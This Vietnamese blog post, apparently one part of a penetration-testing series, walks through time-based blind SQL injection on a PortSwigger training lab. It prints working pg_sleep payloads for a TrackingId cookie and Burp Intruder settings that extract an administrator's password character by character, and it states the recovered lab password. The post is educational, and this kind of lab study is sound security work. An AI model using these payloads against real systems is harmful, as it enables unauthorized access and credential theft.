NỘI DUNG
Tiếp theo nội dung Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 6), kỳ này tôi sẽ tiếp tục mân mê thằng Blind SQL Injection. Và trong kỳ, này tôi sẽ tiếp tục tăng độ khó lên với tình huống ứng dụng có khả năng xử lý lỗi từ SQL query đầy tinh tế.
Trong trường hợp này, ứng dụng sẽ chả buồn phản hồi gì với các đòn chọc ngoáy của tôi mà nó chỉ đáp lại bằng thái độ dửng dưng lạnh nhạt (tức là tôi sẽ chả có thấy khác biệt mịa gì trong response hoặc ép được ứng dụng phụt ra lỗi theo điều kiện thiết lập sẵn nữa). Lúc này, với phương châm còn thở còn gỡ, tôi sẽ thử vận may bằng cách trông cậy vô phương án kích hoạt time delay (tạm hiểu là tạo thời gian chờ trong quá trình xử lý) căn cứ theo các điều kiện thiết lập trong query.
Lưu ý:
- Thủ thuật xử lý kích hoạt time delay chỉ có tác dụng khi các SQL query được xử lý kiểu synchronous (tức là đồng bộ – khi bạn trì hoãn quá trình thực thi SQL query thì việc trả về cái HTTP response cũng sẽ bị trì hoãn theo);
- Tương tự như các kỳ trước, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
- Chi tiết việc sử dụng Burp Suite Intruder bạn có thể xem trong nội dung Penetration Testing Step 3 – Chuẩn bị đổ mưa bom, bão đạn lên mục tiêu với Burp Suite Intruder;
- Để tập trung vào vấn đề chính, tôi sẽ xúc nội dung demo với các dữ liệu có sẵn bao gồm: Database có tồn tại bảng Users với cột Username và Password; Có một username Administrator xử dụng password dài 20 ký tự chỉ bao gồm các ký tự chữ thường a-z và số 0-9. Thực tế đây là các thông tin quan trọng và bạn phải bỏ công ra xác định như tôi đã giới thiệu trong các kỳ trước đó.
#1. Thăm dò khả năng thao túng phản hồi của mục tiêu với thiết lập time delay trong Blind SQL Injection
Rồi, tôi vào việc ngay và luôn. Việc đầu tiên tôi cần làm là truy cập vào cái shop quen thuộc của bài Lab để túm cặp request/response có TrackingId cái đã.
Kế đến, tôi đẩy hàng qua Burp Suite Repeater và hiệu chỉnh lại request để kiểm nghiệm khả năng kích hoạt time delay (con số 10 trong cái pg_sleep(10) tương ứng với việc bắt ứng dụng ngồi đực mặt ra chờ 10 giây trước khi chạy bước xử lý tiếp theo) với:
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Lúc này nếu nhìn kết quả tôi sẽ chỉ thấy thấy response trả về như thông thường. Điều quan trọng tôi cần làm ở đây là theo dõi thời gian ứng dụng xử lý và trả về kết quả từ lúc tôi nhấn nút Send. Nếu thời gian xử lý xấp xỉ 10s thì tôi có thể vung tay chém gió vào không khí và hô to “Yes, you can!”.
Tôi hiệu chỉnh lại các điều kiện thiết lập trong query để xác nhận một lần nữa.
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
Vì 1=2 trả về kết quả False dẫn đến nhánh pg_sleep(0) được thực thi nên lần này cái response phụt ra gần như tức thì mà không time delay gì cả. Như vậy tôi có thể xác nhận việc đút vào cái query điều kiện để kích hoạt time delay nhằm thao túc thời gian phản hồi của ứng dụng là khả thi.
#2. Xác nhận sự tồn tại của user administrator với điều kiện time delay
Cũng như các kỳ trước, tôi có thể cập nhật lại query để xác nhận sự tồn tại của user administrator trong bảng users kiểu như sau:
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Và việc ứng dụng chờ đợi gần 10s mới trả về response đã xác nhận cho tôi việc này.
#3. Xác định độ dài password với điều kiện time delay
Kế đến, tôi sẽ chuyển qua xác nhận độ dài của password cho ông administrator kiểu như sau:
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Tương tự như trên, sau khi dựa vào time delay để xác nhận việc độ dài password lớn hơn 1, tôi triển tiếp các query tiếp theo để xác nhận độ dài của password là 20.
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>19)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
#4. Xác định password với điều kiện time delay
#4.1 Xác định ký tự đầu tiên của password
Sau khi xác định xong độ dài password, tôi chuyển sang xác định ký tự đầu tiên của password. Việc này cũng sẽ cần đến sự trợ giúp của Burp Suite Intruder. Tôi đẩy hàng qua đấy, loại bỏ các thiết lập payload mặc định và thiết lập lại payload marker tại vị trí kí tự “a” để so sánh như sau:
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Ở đây, tôi cũng sẽ dùng payload simple list bao gồm các chữ a-z và số 0-9.
Vì ở đây, việc giám sát thời gian phản hồi của ứng dụng là quan trọng nên tôi sẽ cần thiết lập cho Intruder chạy các request lần lượt theo kiểu single thread. Việc thiết lập này sẽ được thực hiện trong phần Resource Pool với việc xác lập Maximum concurrent request thành 1.
Sau đó tôi xả đạn với Start Attack và thu lượm kết quả. Ở đây để quan sát được thời gian, tôi sẽ cần chọn thêm phần Respones received trong Columns menu.
Và sau đó tôi sort lại bảng kết quả theo cột Response received để xác định thằng nào có thời gian khoảng 10000 (ms) để hốt kết quả (ký tự “j” như bên dưới).
#4.2 Hốt trọn toàn bộ các ký tự của password
Quá trình tấn công ở trên có thể thực hiện thủ công thông qua việc lần lượt hiệu chỉnh chỉ số vị trí của ký tự trong password kiểu như sau:
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Tuy nhiên, tôi không có thời gian chơi trò thủ công mỹ nghệ nên sẽ thiết lập payload marker tại chỗ chỉ số vị trí của ký tự trong password luôn (đồng thời chuyển Attack type qua Cluster bomb).
TrackingId=1u9XarycOaBmAQH5'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Sau đó thiết lập payload cho thằng chỉ số vị trí.
Và payload cho ký tự cần dò tìm tương tự như trước đó:
Rồi sau đó tôi lại xả đạn với Start attack và thu lượm kết quả (lưu ý với kiểu time delay thì quá trình tấn công sẽ hơi lâu đấy)
Sau đó tôi nhặt nhạnh các mãnh vỡ và sắp xếp lại password cho ông administrator:jtghh99tpfi0zotsi2tu rồi đút hàng vô vị trí đăng nhập để xác nhận kết quả quăng bom.
Phù, đến đây coi như tôi đã giới thiệu xong các chiêu trò phổ biến với SQL Injection attack. Ngoài mấy trò này, SQL Injection attack vẫn còn một chiêu cuối có sức công phá cực mạnh là sử dụng out-of-band techinques để đối phó với tình huống ứng dụng xử lý kiểu asynchronous – bất đồng bộ (nghĩa là cái trò time delay ở trên sẽ bị vô hiệu hóa). Tuy nhiên, để triển chiêu này hiệu quả bạn sẽ cần đến sự hỗ trợ của Burp Collaborator – tính năng chỉ có trên phiên bản Professional/Enterprise. Nếu có thể, tôi sẽ sắp xếp quay trở lại chém gió với nội dung này sau.
1 thought on “Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 7)”